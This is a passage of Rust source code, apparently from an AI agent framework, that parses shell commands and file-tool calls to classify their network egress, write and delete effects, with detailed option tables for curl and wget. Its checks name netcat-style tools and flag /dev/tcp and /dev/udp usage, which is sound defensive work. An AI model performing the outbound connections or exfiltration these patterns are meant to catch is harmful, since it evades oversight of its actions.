2550pub fn egress_effect(scheme: &str, host: &str, port: Option<u16>) -> Option<EffectKey> {
2588 let host = host.trim();
2589 let bare = match host.strip_prefix('[') {
2590 Some(inner) => {
2592 let inner = inner.strip_suffix(']')?;
2593 inner.parse::<std::net::Ipv6Addr>().ok()?;
2594 inner
2595 }
2596 None => host,
2597 };
2598 if !valid_host(bare) {
2599 return None;
2600 }
2601 Some(EffectKey::egress(scheme, bare, port))
2602}
2603
2604fn valid_host(host: &str) -> bool {
2608 if host.parse::<std::net::Ipv4Addr>().is_ok() || host.parse::<std::net::Ipv6Addr>().is_ok() {
2609 return true;
2610 }
2611 let name = host.strip_suffix('.').unwrap_or(host);
2612 !name.is_empty()
2613 && name.len() <= 253
2614 && name.split('.').all(|label| {
2615 !label.is_empty()
2616 && label.len() <= 63
2617 && !label.starts_with('-')
2618 && !label.ends_with('-')
2619 && label.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
2620 })
2621}
2622
2623fn scheme_default_port(scheme: &str) -> Option<u16> {
2625 match scheme {
2626 "git" => Some(9418),
2627 "rsync" => Some(873),
2628 "ssh" | "git+ssh" | "ssh+git" | "sftp" | "scp" => Some(22),
2629 _ => None,
2630 }
2631}
2632
2633pub fn url_effect(raw: &str) -> Option<EffectKey> {
2642 let url = strict_url(raw)?;
2643 url_host_effect(&url)
2644}
2645
2646fn strict_url(raw: &str) -> Option<reqwest::Url> {
2647 if raw.is_empty()
2648 || !raw.is_ascii()
2649 || raw.chars().any(|c| {
2650 c.is_ascii_whitespace()
2651 || c.is_ascii_control()
2652 || matches!(c, '\\' | '$' | '`' | '"' | '\'' | '{' | '}' | '*' | ',')
2653 })
2654 {
2655 return None;
2656 }
2657 let (scheme, rest) = raw.split_once("://")?;
2658 let mut scheme_chars = scheme.chars();
2659 if !scheme_chars.next()?.is_ascii_alphabetic()
2660 || !scheme_chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.'))
2661 {
2662 return None;
2663 }
2664 let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
2665 let (authority, tail) = rest.split_at(authority_end);
2666 if tail.contains(['[', ']']) || authority.matches('@').count() > 1 {
2668 return None;
2669 }
2670 let host_port = authority
2671 .rsplit_once('@')
2672 .map_or(authority, |(_, host)| host);
2673 let (host, port) = match host_port.strip_prefix('[') {
2674 Some(after) => {
2675 let (inner, port) = after.split_once(']')?;
2676 (format!("[{inner}]"), port)
2677 }
2678 None => match host_port.split_once(':') {
2679 Some((host, _)) => (host.to_string(), &host_port[host.len()..]),
2680 None => (host_port.to_string(), ""),
2681 },
2682 };
2683 if host.contains(['[', ']']) && !host.starts_with('[') {
2684 return None;
2685 }
2686 if let Some(digits) = port.strip_prefix(':') {
2687 if digits.is_empty() || digits.len() > 5 || !digits.chars().all(|c| c.is_ascii_digit()) {
2688 return None;
2689 }
2690 digits.parse::<u16>().ok()?;
2691 } else if !port.is_empty() {
2692 return None;
2693 }
2694 egress_effect(scheme, &host, None)?;
2695 let url = reqwest::Url::parse(raw).ok()?;
2696 let normalize = |host: &str| host.trim_end_matches('.').to_ascii_lowercase();
2697 (normalize(url.host_str()?) == normalize(&host)).then_some(url)
2698}
2699
2700pub fn url_host_effect(url: &reqwest::Url) -> Option<EffectKey> {
2703 let scheme = url.scheme();
2704 let port = url
2707 .port()
2708 .or_else(|| scheme_default_port(scheme))
2709 .or_else(|| url.port_or_known_default())?;
2710 egress_effect(scheme, url.host_str()?, Some(port))
2711}
2712
2713fn structural_absolute_path(raw: &str, cwd: Option<&str>) -> Option<String> {
2720 let raw = raw.trim();
2721 if raw.is_empty() || raw.contains(['$', '`', '*', '?', '[', ']', '{', '}', '\\', '\0']) {
2722 return None;
2723 }
2724 let expanded = if raw == "~" || raw.starts_with("~/") {
2725 format!("{}{}", dirs::home_dir()?.to_str()?, &raw[1..])
2726 } else if raw.starts_with('~') {
2727 return None;
2728 } else {
2729 raw.to_string()
2730 };
2731 if crate::BackendPath::is_absolute(&expanded) {
2732 return Some(expanded);
2733 }
2734 let cwd = cwd
2735 .map(str::trim)
2736 .filter(|cwd| crate::BackendPath::is_absolute(cwd))?;
2737 Some(format!("{}/{expanded}", cwd.trim_end_matches('/')))
2738}
2739
2740pub fn path_effect(class: EffectClass, raw: &str, cwd: Option<&str>) -> Option<EffectKey> {
2749 let absolute = structural_absolute_path(raw, cwd)?;
2750 let lexical = EffectKey::path(class, &absolute)?;
2751 Some(resolved_on_disk(class, lexical))
2752}
2753
2754fn resolved_on_disk(class: EffectClass, lexical: EffectKey) -> EffectKey {
2755 let path = std::path::Path::new(&lexical.target);
2756 let (base, leaf) = match (class, path.parent(), path.file_name()) {
2757 (EffectClass::Delete, Some(parent), Some(name)) => (parent, Some(name)),
2758 _ => (path, None),
2759 };
2760 for ancestor in base.ancestors() {
2761 let Ok(mut real) = dunce::canonicalize(ancestor) else {
2762 continue;
2763 };
2764 if let Ok(rest) = base.strip_prefix(ancestor)
2765 && !rest.as_os_str().is_empty()
2766 {
2767 real.push(rest);
2768 }
2769 if let Some(leaf) = leaf {
2770 real.push(leaf);
2771 }
2772 return real
2773 .to_str()
2774 .and_then(|real| EffectKey::path(class, real))
2775 .unwrap_or(lexical);
2776 }
2777 lexical
2778}
2779
2780pub fn shell_path_effects(
2790 class: EffectClass,
2791 raw: &str,
2792 cwd: Option<&str>,
2793) -> Option<Vec<EffectKey>> {
2794 let absolute = structural_absolute_path(raw, cwd)?;
2795 let components: Vec<&str> = absolute
2796 .split('/')
2797 .filter(|part| !part.is_empty() && *part != ".")
2798 .collect();
2799 let mut existing = components.len();
2800 let base = loop {
2801 let prefix = format!("/{}", components[..existing].join("/"));
2802 if std::fs::symlink_metadata(&prefix).is_ok() {
2803 break dunce::canonicalize(&prefix).ok()?;
2804 }
2805 existing -= 1;
2806 };
2807 let rest = &components[existing..];
2808 if rest.contains(&"..") {
2809 return None;
2810 }
2811 let mut physical = base;
2812 for part in rest {
2813 physical.push(part);
2814 }
2815 let mut keys = vec![EffectKey::path(class, physical.to_str()?)?];
2816 if class == EffectClass::Delete {
2817 let named = path_effect(class, raw, cwd)?;
2818 if !keys.contains(&named) {
2819 keys.push(named);
2820 }
2821 }
2822 Some(keys)
2823}
2824
2825pub fn execution_backend_is_local(backend: &dyn crate::backend::ExecutionBackend) -> bool {
2828 backend.kind() == crate::backend::BackendKind::Local
2829}
2830
2831pub fn without_local_paths(mut effects: CallEffects) -> CallEffects {
2835 effects.keys.retain(|key| {
2836 !matches!(
2837 key.class,
2838 EffectClass::Write | EffectClass::Delete | EffectClass::Configuration
2839 )
2840 });
2841 effects.complete = false;
2842 effects.understood = false;
2843 effects
2844}
2845
2846pub fn file_tool_write_effects(
2850 backend: &dyn crate::backend::ExecutionBackend,
2851 arguments: &str,
2852) -> CallEffects {
2853 if !execution_backend_is_local(backend) {
2854 return CallEffects::unknown();
2855 }
2856 let path = serde_json::from_str::<serde_json::Value>(arguments)
2857 .ok()
2858 .and_then(|args| {
2859 ["path", "file_path", "file", "filename"]
2860 .iter()
2861 .find_map(|key| {
2862 args.get(*key)
2863 .and_then(|value| value.as_str())
2864 .map(str::to_string)
2865 })
2866 });
2867 match path.and_then(|path| path_effect(EffectClass::Write, &path, None)) {
2868 Some(key) => CallEffects {
2869 keys: vec![key],
2870 complete: true,
2871 understood: false,
2872 },
2873 None => CallEffects::unknown(),
2874 }
2875}
2876
2877pub fn shell_call_effects(command: &str, cwd: Option<&str>) -> CallEffects {
2889 let analysis = analyze_shell(command, cwd);
2890 CallEffects {
2891 keys: analysis.keys,
2892 complete: false,
2893 understood: analysis.complete,
2894 }
2895}
2896
2897struct ShellAnalysis {
2898 keys: Vec<EffectKey>,
2899 complete: bool,
2901}
2902
2903impl ShellAnalysis {
2904 fn add(&mut self, key: EffectKey) {
2905 if !self.keys.contains(&key) {
2906 self.keys.push(key);
2907 }
2908 }
2909
2910 fn opaque(&mut self) {
2912 self.complete = false;
2913 }
2914
2915 fn unresolved(&mut self) {
2917 self.complete = false;
2918 }
2919
2920 fn path(&mut self, class: EffectClass, raw: &str, cwd: Option<&str>) {
2921 if raw.contains(['<', '>']) {
2923 self.unresolved();
2924 return;
2925 }
2926 match shell_path_effects(class, raw, cwd) {
2927 Some(keys) => keys.into_iter().for_each(|key| self.add(key)),
2928 None => self.unresolved(),
2929 }
2930 }
2931
2932 fn egress(&mut self, key: Option<EffectKey>) {
2933 match key {
2934 Some(key) => self.add(key),
2935 None => self.opaque(),
2936 }
2937 }
2938}
2939
2940fn executed_text(command: &str) -> String {
2949 let command = shell_text(command);
2950 let chars: Vec<char> = command.chars().collect();
2951 let mut out = String::with_capacity(command.len());
2952 let (mut in_single, mut in_double) = (false, false);
2953 let mut pending: Vec<(String, bool)> = Vec::new();
2955 let mut i = 0;
2956 while i < chars.len() {
2957 let c = chars[i];
2958 if in_single || in_double {
2959 if c == '\n' {
2960 out.push('\0');
2961 } else {
2962 out.push(c);
2963 if c == '\\' && in_double {
2964 if let Some(&next) = chars.get(i + 1) {
2965 out.push(if next == '\n' { '\0' } else { next });
2966 i += 1;
2967 }
2968 } else if (c == '\'' && in_single) || (c == '"' && in_double) {
2969 in_single = false;
2970 in_double = false;
2971 }
2972 }
2973 i += 1;
2974 continue;
2975 }
2976 match c {
2977 '\\' => {
2978 out.push(c);
2979 if let Some(&next) = chars.get(i + 1) {
2980 out.push(next);
2981 i += 1;
2982 }
2983 }
2984 '\'' => {
2985 in_single = true;
2986 out.push(c);
2987 }
2988 '"' => {
2989 in_double = true;
2990 out.push(c);
2991 }
2992 '#' if out
2993 .chars()
2994 .last()
2995 .is_none_or(|p| p.is_whitespace() || matches!(p, ';' | '|' | '&' | '(' | ')')) =>
2996 {
2997 while i < chars.len() && chars[i] != '\n' {
2998 i += 1;
2999 }
3000 continue;
3001 }
3002 '<' if chars.get(i + 1) == Some(&'<') && chars.get(i + 2) != Some(&'<') => {
3003 out.push_str("<<");
3004 let mut j = i + 2;
3005 let strip_tabs = chars.get(j) == Some(&'-');
3006 if strip_tabs {
3007 out.push('-');
3008 j += 1;
3009 }
3010 while chars.get(j).is_some_and(|c| *c == ' ' || *c == '\t') {
3011 out.push(chars[j]);
3012 j += 1;
3013 }
3014 let mut delimiter = String::new();
3015 while let Some(&d) = chars.get(j) {
3016 if d.is_whitespace() || matches!(d, ';' | '|' | '&' | '<' | '>' | '(' | ')') {
3017 break;
3018 }
3019 out.push(d);
3020 if !matches!(d, '\'' | '"' | '\\') {
3021 delimiter.push(d);
3022 }
3023 j += 1;
3024 }
3025 pending.push((delimiter, strip_tabs));
3026 i = j;
3027 continue;
3028 }
3029 '\n' => {
3030 out.push('\n');
3031 for (delimiter, strip_tabs) in std::mem::take(&mut pending) {
3033 loop {
3034 i += 1;
3035 if i >= chars.len() {
3036 break;
3037 }
3038 let end = chars[i..]
3039 .iter()
3040 .position(|c| *c == '\n')
3041 .map_or(chars.len(), |offset| i + offset);
3042 let line: String = chars[i..end].iter().collect();
3043 let line = if strip_tabs {
3044 line.trim_start_matches('\t')
3045 } else {
3046 line.as_str()
3047 };
3048 let done = line == delimiter;
3049 i = end;
3050 if done {
3051 break;
3052 }
3053 }
3054 }
3055 }
3056 _ => out.push(c),
3057 }
3058 i += 1;
3059 }
3060 out
3061}
3062
3063fn analyze_shell(command: &str, cwd: Option<&str>) -> ShellAnalysis {
3064 let mut out = ShellAnalysis {
3065 keys: Vec::new(),
3066 complete: true,
3067 };
3068 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
3069 out.opaque();
3070 }
3071 let changes_directory = expanded_commands(command)
3081 .iter()
3082 .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
3083 if changes_directory {
3084 out.unresolved();
3085 }
3086 let mut here: Option<String> = cwd
3087 .map(str::trim)
3088 .filter(|dir| crate::BackendPath::is_absolute(dir))
3089 .map(str::to_string);
3090 for line in executed_text(&command.replace("\\\n", " ")).split('\n') {
3093 let scanned = scan(line);
3094 if scanned.unsafe_syntax {
3096 out.opaque();
3097 }
3098 let line_moves = scanned.segments.iter().any(|segment| {
3101 shell_words::split(segment).is_ok_and(|tokens| {
3102 tokens
3103 .first()
3104 .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
3105 })
3106 });
3107 for target in &scanned.output_targets {
3108 if target.contains(['"', '\'']) || line_moves {
3109 out.unresolved();
3110 } else {
3111 out.path(EffectClass::Write, target, here.as_deref());
3112 }
3113 }
3114 for (index, segment) in scanned.segments.iter().enumerate() {
3115 if segment.trim().is_empty() {
3116 continue;
3117 }
3118 if has_expansion(segment) {
3119 out.opaque();
3120 }
3121 let Ok(tokens) = shell_words::split(segment) else {
3122 out.opaque();
3123 continue;
3124 };
3125 let tokens = strip_redirections(tokens);
3126 match tokens.first().map(|program| basename(program)) {
3127 Some("cd") => {
3128 here = if scanned.separators.iter().any(|c| matches!(c, '(' | ')'))
3129 || !runs_on_after(&scanned, index)
3130 || has_expansion(segment)
3131 {
3132 None
3133 } else {
3134 changed_directory(&tokens[1..], here.as_deref())
3135 };
3136 }
3137 Some("pushd" | "popd") => here = None,
3138 _ => segment_effects(&tokens, here.as_deref(), &mut out),
3139 }
3140 }
3141 }
3142 let executed = executed_text(&command.replace("\\\n", " "));
3145 for tokens in expanded_commands(&executed) {
3146 let mut inner = ShellAnalysis {
3147 keys: Vec::new(),
3148 complete: true,
3149 };
3150 segment_effects(&tokens, cwd, &mut inner);
3151 for key in inner.keys {
3152 if key.class == EffectClass::Egress {
3153 out.add(key);
3154 }
3155 }
3156 }
3157 out
3158}
3159
3160fn runs_on_after(scanned: &Scan, index: usize) -> bool {
3164 let doubled = |c: char| {
3165 scanned
3166 .segments
3167 .get(index + 1)
3168 .is_some_and(|next| next.trim().is_empty())
3169 && scanned.separators.get(index + 1) == Some(&c)
3170 };
3171 match scanned.separators.get(index) {
3172 None | Some(';') => true,
3173 Some('&') => doubled('&'),
3174 Some('|') => doubled('|'),
3175 Some(_) => false,
3176 }
3177}
3178
3179fn changed_directory(args: &[String], here: Option<&str>) -> Option<String> {
3183 let [target] = args else {
3184 return None;
3185 };
3186 if target.starts_with('-') {
3187 return None;
3188 }
3189 let absolute = structural_absolute_path(target, here)?;
3190 EffectKey::path(EffectClass::Write, &absolute).map(|key| key.target)
3191}
3192
3193fn has_expansion(segment: &str) -> bool {
3197 let chars: Vec<char> = segment.chars().collect();
3198 let (mut in_single, mut in_double) = (false, false);
3199 for (index, &c) in chars.iter().enumerate() {
3200 if in_single {
3201 in_single = c != '\'';
3202 continue;
3203 }
3204 if in_double {
3205 match c {
3206 '"' => in_double = false,
3207 '$' | '`' | '\\' => return true,
3208 _ => {}
3209 }
3210 continue;
3211 }
3212 match c {
3213 '\'' => in_single = true,
3214 '"' => in_double = true,
3215 '{' | '}' | '*' | '?' | '[' | ']' | '$' | '`' | '\\' => return true,
3216 '~' => {
3217 let word_start = index == 0 || chars[index - 1].is_whitespace();
3218 let user = chars
3219 .get(index + 1)
3220 .is_some_and(|next| !next.is_whitespace() && *next != '/');
3221 if word_start && user {
3222 return true;
3223 }
3224 }
3225 _ => {}
3226 }
3227 }
3228 false
3229}
3230
3231fn segment_effects(tokens: &[String], here: Option<&str>, out: &mut ShellAnalysis) {
3232 let Some(program) = tokens.first() else {
3233 return;
3234 };
3235 let path_ok = !program.contains('/')
3236 || program
3237 .rsplit_once('/')
3238 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3239 if is_env_assignment(program) || !path_ok {
3240 out.opaque();
3241 return;
3242 }
3243 let name = basename(program);
3244 let args = &tokens[1..];
3245 if name != "git" && is_program_observation(name, args) {
3249 return;
3250 }
3251 match name {
3252 "cd" | "pushd" | "popd" => {}
3254 "rm" | "rmdir" | "unlink" => {
3255 if parse_options(&REMOVE, args).is_some() {
3256 deleted(tokens, here, out)
3257 } else {
3258 out.unresolved()
3259 }
3260 }
3261 "find"
3262 if args.iter().any(|arg| arg == "-delete")
3263 && !args
3264 .iter()
3265 .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())) =>
3266 {
3267 deleted(tokens, here, out)
3268 }
3269 "cp" | "mv" => copied(name, args, here, out),
3270 "tee" | "touch" | "mkdir" => created(name, args, here, out),
3271 "curl" => curl(args, here, out),
3272 "wget" => wget(args, here, out),
3273 "invoke-webrequest" => powershell_web(args, out),
3274 name if in_powershell_table(POWERSHELL_DELETES, name) => {
3275 if powershell_args_plain(args) {
3276 deleted(tokens, here, out)
3277 } else {
3278 out.unresolved()
3279 }
3280 }
3281 "http" | "https" | "xh" | "xhs" => httpie(args, here, out),
3282 "nc" | "ncat" | "netcat" => netcat(args, out),
3283 "ssh" => ssh(args, here, out),
3284 "scp" => scp(args, here, out),
3285 "rsync" => rsync(args, here, out),
3286 "git" => git(args, here, out),
3287 _ => out.opaque(),
3288 }
3289}
3290
3291fn powershell_web(args: &[String], out: &mut ShellAnalysis) {
3296 out.opaque();
3297 for arg in args {
3298 if arg.contains("://") {
3299 match url_effect(arg) {
3300 Some(key) => out.add(key),
3301 None => out.unresolved(),
3302 }
3303 }
3304 }
3305}
3306
3307const REMOVE: OptionSpec = OptionSpec {
3308 flags: "rRfidIvP",
3309 valued: &[],
3310 long_flags: &[
3311 "recursive",
3312 "force",
3313 "dir",
3314 "verbose",
3315 "interactive",
3316 "one-file-system",
3317 "preserve-root",
3318 "ignore-fail-on-non-empty",
3319 "parents",
3320 ],
3321 long_valued: &[],
3322 long_equals: false,
3323 exact: &[],
3324 stop_at_positional: false,
3325};
3326
3327fn deleted(tokens: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3328 match delete_targets(&shell_words::join(tokens)) {
3329 Some(targets) => {
3330 for target in targets {
3331 out.path(EffectClass::Delete, &target, cwd);
3332 }
3333 }
3334 None => out.unresolved(),
3335 }
3336}
3337
3338#[derive(Clone, Copy, PartialEq, Eq)]
3340enum OptionValue {
3341 Ignore,
3343 Url,
3345 Write,
3347 Document,
3349 Port,
3351 TargetDir,
3353}
3354
3355struct OptionSpec {
3358 flags: &'static str,
3360 valued: &'static [(char, OptionValue)],
3362 long_flags: &'static [&'static str],
3363 long_valued: &'static [(&'static str, OptionValue)],
3364 long_equals: bool,
3366 exact: &'static [&'static str],
3368 stop_at_positional: bool,
3371}
3372
3373#[derive(Default)]
3374struct ParsedOptions {
3375 positionals: Vec<String>,
3376 values: Vec<(OptionValue, String)>,
3377 long_flags: Vec<String>,
3378}
3379
3380fn parse_options(spec: &OptionSpec, args: &[String]) -> Option<ParsedOptions> {
3381 let mut parsed = ParsedOptions::default();
3382 let mut index = 0;
3383 let mut options_done = false;
3384 while index < args.len() {
3385 let arg = &args[index];
3386 index += 1;
3387 if options_done || arg == "-" || !arg.starts_with('-') {
3388 parsed.positionals.push(arg.clone());
3389 options_done |= spec.stop_at_positional;
3390 continue;
3391 }
3392 if arg == "--" {
3393 options_done = true;
3394 continue;
3395 }
3396 if spec.exact.contains(&arg.as_str()) {
3397 continue;
3398 }
3399 if let Some(long) = arg.strip_prefix("--") {
3400 if let Some((name, value)) = long.split_once('=') {
3401 if !spec.long_equals {
3402 return None;
3403 }
3404 let role = lookup(spec.long_valued, name)?;
3405 parsed.values.push((role, attached_value(value)));
3406 } else if spec.long_flags.contains(&long) {
3407 parsed.long_flags.push(long.to_string());
3408 } else {
3409 let role = lookup(spec.long_valued, long)?;
3410 parsed.values.push((role, args.get(index)?.clone()));
3411 index += 1;
3412 }
3413 continue;
3414 }
3415 let cluster: Vec<char> = arg[1..].chars().collect();
3416 for (position, letter) in cluster.iter().enumerate() {
3417 if spec.flags.contains(*letter) {
3418 continue;
3419 }
3420 let role = spec
3421 .valued
3422 .iter()
3423 .find(|(short, _)| short == letter)
3424 .map(|(_, role)| *role)?;
3425 let rest: String = cluster[position + 1..].iter().collect();
3426 let value = if rest.is_empty() {
3427 index += 1;
3428 args.get(index - 1)?.clone()
3429 } else {
3430 rest
3431 };
3432 parsed.values.push((role, attached_value(&value)));
3433 break;
3434 }
3435 }
3436 Some(parsed)
3437}
3438
3439fn attached_value(value: &str) -> String {
3443 if value.starts_with('~') {
3444 format!("./{value}")
3445 } else {
3446 value.to_string()
3447 }
3448}
3449
3450fn lookup(table: &[(&str, OptionValue)], name: &str) -> Option<OptionValue> {
3451 table
3452 .iter()
3453 .find(|(long, _)| *long == name)
3454 .map(|(_, role)| *role)
3455}
3456
3457fn apply_values(parsed: &ParsedOptions, cwd: Option<&str>, out: &mut ShellAnalysis) {
3460 for (role, value) in &parsed.values {
3461 match role {
3462 OptionValue::Write | OptionValue::Document if value != "-" => {
3463 out.path(EffectClass::Write, value, cwd)
3464 }
3465 OptionValue::Url => out.egress(url_effect(value)),
3466 _ => {}
3467 }
3468 }
3469}
3470
3471const CURL: OptionSpec = OptionSpec {
3472 flags: "sSLfiIkvGNqjgn0123456#Z",
3473 valued: &[
3474 ('X', OptionValue::Ignore),
3475 ('d', OptionValue::Ignore),
3476 ('H', OptionValue::Ignore),
3477 ('u', OptionValue::Ignore),
3478 ('A', OptionValue::Ignore),
3479 ('e', OptionValue::Ignore),
3480 ('F', OptionValue::Ignore),
3481 ('m', OptionValue::Ignore),
3482 ('T', OptionValue::Ignore),
3483 ('b', OptionValue::Ignore),
3484 ('w', OptionValue::Ignore),
3485 ('r', OptionValue::Ignore),
3486 ('C', OptionValue::Ignore),
3487 ('Y', OptionValue::Ignore),
3488 ('y', OptionValue::Ignore),
3489 ('z', OptionValue::Ignore),
3490 ('E', OptionValue::Ignore),
3491 ('U', OptionValue::Ignore),
3492 ('o', OptionValue::Write),
3493 ('D', OptionValue::Write),
3494 ('c', OptionValue::Write),
3495 ],
3496 long_flags: &[
3497 "silent",
3498 "show-error",
3499 "location",
3500 "location-trusted",
3501 "fail",
3502 "fail-with-body",
3503 "fail-early",
3504 "include",
3505 "head",
3506 "insecure",
3507 "verbose",
3508 "get",
3509 "compressed",
3510 "http0.9",
3511 "http1.0",
3512 "http1.1",
3513 "http2",
3514 "http2-prior-knowledge",
3515 "http3",
3516 "http3-only",
3517 "no-buffer",
3518 "globoff",
3519 "ipv4",
3520 "ipv6",
3521 "no-progress-meter",
3522 "progress-bar",
3523 "netrc",
3524 "netrc-optional",
3525 "raw",
3526 "tr-encoding",
3527 "no-keepalive",
3528 "ssl-reqd",
3529 "tcp-nodelay",
3530 "path-as-is",
3531 "retry-all-errors",
3532 "retry-connrefused",
3533 "anyauth",
3534 "basic",
3535 "digest",
3536 "ntlm",
3537 "negotiate",
3538 "disable",
3539 "junk-session-cookies",
3540 "parallel",
3541 "tlsv1.2",
3542 "tlsv1.3",
3543 "styled-output",
3544 "no-styled-output",
3545 ],
3546 long_valued: &[
3547 ("url", OptionValue::Url),
3548 ("request", OptionValue::Ignore),
3549 ("data", OptionValue::Ignore),
3550 ("data-raw", OptionValue::Ignore),
3551 ("data-binary", OptionValue::Ignore),
3552 ("data-urlencode", OptionValue::Ignore),
3553 ("data-ascii", OptionValue::Ignore),
3554 ("json", OptionValue::Ignore),
3555 ("header", OptionValue::Ignore),
3556 ("user", OptionValue::Ignore),
3557 ("user-agent", OptionValue::Ignore),
3558 ("referer", OptionValue::Ignore),
3559 ("form", OptionValue::Ignore),
3560 ("form-string", OptionValue::Ignore),
3561 ("max-time", OptionValue::Ignore),
3562 ("connect-timeout", OptionValue::Ignore),
3563 ("upload-file", OptionValue::Ignore),
3564 ("cookie", OptionValue::Ignore),
3565 ("write-out", OptionValue::Ignore),
3566 ("range", OptionValue::Ignore),
3567 ("retry", OptionValue::Ignore),
3568 ("retry-delay", OptionValue::Ignore),
3569 ("retry-max-time", OptionValue::Ignore),
3570 ("cacert", OptionValue::Ignore),
3571 ("capath", OptionValue::Ignore),
3572 ("cert", OptionValue::Ignore),
3573 ("cert-type", OptionValue::Ignore),
3574 ("key", OptionValue::Ignore),
3575 ("key-type", OptionValue::Ignore),
3576 ("oauth2-bearer", OptionValue::Ignore),
3577 ("max-redirs", OptionValue::Ignore),
3578 ("limit-rate", OptionValue::Ignore),
3579 ("max-filesize", OptionValue::Ignore),
3580 ("continue-at", OptionValue::Ignore),
3581 ("time-cond", OptionValue::Ignore),
3582 ("proxy-user", OptionValue::Ignore),
3583 ("output", OptionValue::Write),
3584 ("dump-header", OptionValue::Write),
3585 ("cookie-jar", OptionValue::Write),
3586 ("trace", OptionValue::Write),
3587 ("trace-ascii", OptionValue::Write),
3588 ("libcurl", OptionValue::Write),
3589 ("stderr", OptionValue::Write),
3590 ("etag-save", OptionValue::Write),
3591 ],
3592 long_equals: false,
3593 exact: &[],
3594 stop_at_positional: false,
3595};
3596
3597fn curl(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3598 let Some(parsed) = parse_options(&CURL, args) else {
3599 out.opaque();
3600 return;
3601 };
3602 if parsed
3604 .values
3605 .iter()
3606 .any(|(_, value)| value.contains("%output{"))
3607 {
3608 out.unresolved();
3609 }
3610 apply_values(&parsed, cwd, out);
3611 for url in &parsed.positionals {
3612 out.egress(url_effect(url));
3613 }
3614}
3615
3616const WGET: OptionSpec = OptionSpec {
3617 flags: "qvSc",
3618 valued: &[
3619 ('O', OptionValue::Document),
3620 ('o', OptionValue::Write),
3621 ('a', OptionValue::Write),
3622 ('T', OptionValue::Ignore),
3623 ('t', OptionValue::Ignore),
3624 ('U', OptionValue::Ignore),
3625 ],
3626 long_flags: &[
3627 "quiet",
3628 "verbose",
3629 "no-verbose",
3630 "server-response",
3631 "spider",
3632 "continue",
3633 "no-check-certificate",
3634 "no-clobber",
3635 "inet4-only",
3636 "inet6-only",
3637 "no-cache",
3638 "no-cookies",
3639 "content-on-error",
3640 "ignore-length",
3641 "auth-no-challenge",
3642 "no-proxy",
3643 ],
3644 long_valued: &[
3645 ("output-document", OptionValue::Document),
3646 ("output-file", OptionValue::Write),
3647 ("append-output", OptionValue::Write),
3648 ("save-cookies", OptionValue::Write),
3649 ("timeout", OptionValue::Ignore),
3650 ("tries", OptionValue::Ignore),
3651 ("header", OptionValue::Ignore),
3652 ("method", OptionValue::Ignore),
3653 ("body-data", OptionValue::Ignore),
3654 ("body-file", OptionValue::Ignore),
3655 ("post-data", OptionValue::Ignore),
3656 ("post-file", OptionValue::Ignore),
3657 ("user-agent", OptionValue::Ignore),
3658 ("user", OptionValue::Ignore),
3659 ("password", OptionValue::Ignore),
3660 ("http-user", OptionValue::Ignore),
3661 ("http-password", OptionValue::Ignore),
3662 ("referer", OptionValue::Ignore),
3663 ("wait", OptionValue::Ignore),
3664 ("limit-rate", OptionValue::Ignore),
3665 ("read-timeout", OptionValue::Ignore),
3666 ("connect-timeout", OptionValue::Ignore),
3667 ("dns-timeout", OptionValue::Ignore),
3668 ("max-redirect", OptionValue::Ignore),
3669 ("progress", OptionValue::Ignore),
3670 ("ca-certificate", OptionValue::Ignore),
3671 ("certificate", OptionValue::Ignore),
3672 ("private-key", OptionValue::Ignore),
3673 ("load-cookies", OptionValue::Ignore),
3674 ],
3675 long_equals: true,
3676 exact: &["-nv", "-nc", "-nd", "-nH"],
3677 stop_at_positional: false,
3678};
3679
3680fn wget(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3681 let Some(parsed) = parse_options(&WGET, args) else {
3682 out.opaque();
3683 return;
3684 };
3685 apply_values(&parsed, cwd, out);
3686 for url in &parsed.positionals {
3687 out.egress(url_effect(url));
3688 }
3689 let names_output = parsed
3691 .values
3692 .iter()
3693 .any(|(role, _)| *role == OptionValue::Document);
3694 let spider = parsed.long_flags.iter().any(|flag| flag == "spider");
3695 if !names_output && !spider {
3696 out.unresolved();
3697 }
3698}
3699
3700pub fn proven_fetch_urls(command: &str) -> Option<Vec<String>> {
3712 let scanned = scan(command);
3713 if scanned.unsafe_syntax || !scanned.separators.len().is_multiple_of(2) {
3714 return None;
3715 }
3716 for (pair, between) in scanned
3718 .separators
3719 .chunks(2)
3720 .zip(scanned.segments.iter().skip(1).step_by(2))
3721 {
3722 if pair != ['&', '&'] || !between.is_empty() {
3723 return None;
3724 }
3725 }
3726 let mut urls = Vec::new();
3727 for segment in scanned.segments.iter().step_by(2) {
3728 if has_expansion(segment) {
3729 return None;
3730 }
3731 let tokens = strip_redirections(shell_words::split(segment).ok()?);
3732 let (program, args) = tokens.split_first()?;
3733 let path_ok = !program.contains('/')
3734 || program
3735 .rsplit_once('/')
3736 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3737 if !path_ok {
3738 return None;
3739 }
3740 let spec = match basename(program) {
3741 "curl" => &CURL,
3742 "wget" => &WGET,
3743 _ => return None,
3744 };
3745 let parsed = parse_options(spec, args)?;
3746 let mut named = parsed.positionals.iter().chain(
3747 parsed
3748 .values
3749 .iter()
3750 .filter(|(role, _)| *role == OptionValue::Url)
3751 .map(|(_, value)| value),
3752 );
3753 let url = named.next()?;
3754 if named.next().is_some() || strict_url(url).is_none() {
3755 return None;
3756 }
3757 urls.push(url.clone());
3758 }
3759 Some(urls)
3760}
3761
3762const HTTPIE: OptionSpec = OptionSpec {
3763 flags: "vhbfjFIq",
3764 valued: &[
3765 ('p', OptionValue::Ignore),
3766 ('s', OptionValue::Ignore),
3767 ('a', OptionValue::Ignore),
3768 ('A', OptionValue::Ignore),
3769 ('o', OptionValue::Write),
3770 ],
3771 long_flags: &[
3772 "json",
3773 "form",
3774 "multipart",
3775 "verbose",
3776 "headers",
3777 "body",
3778 "follow",
3779 "check-status",
3780 "ignore-stdin",
3781 "quiet",
3782 "offline",
3783 "all",
3784 ],
3785 long_valued: &[
3786 ("print", OptionValue::Ignore),
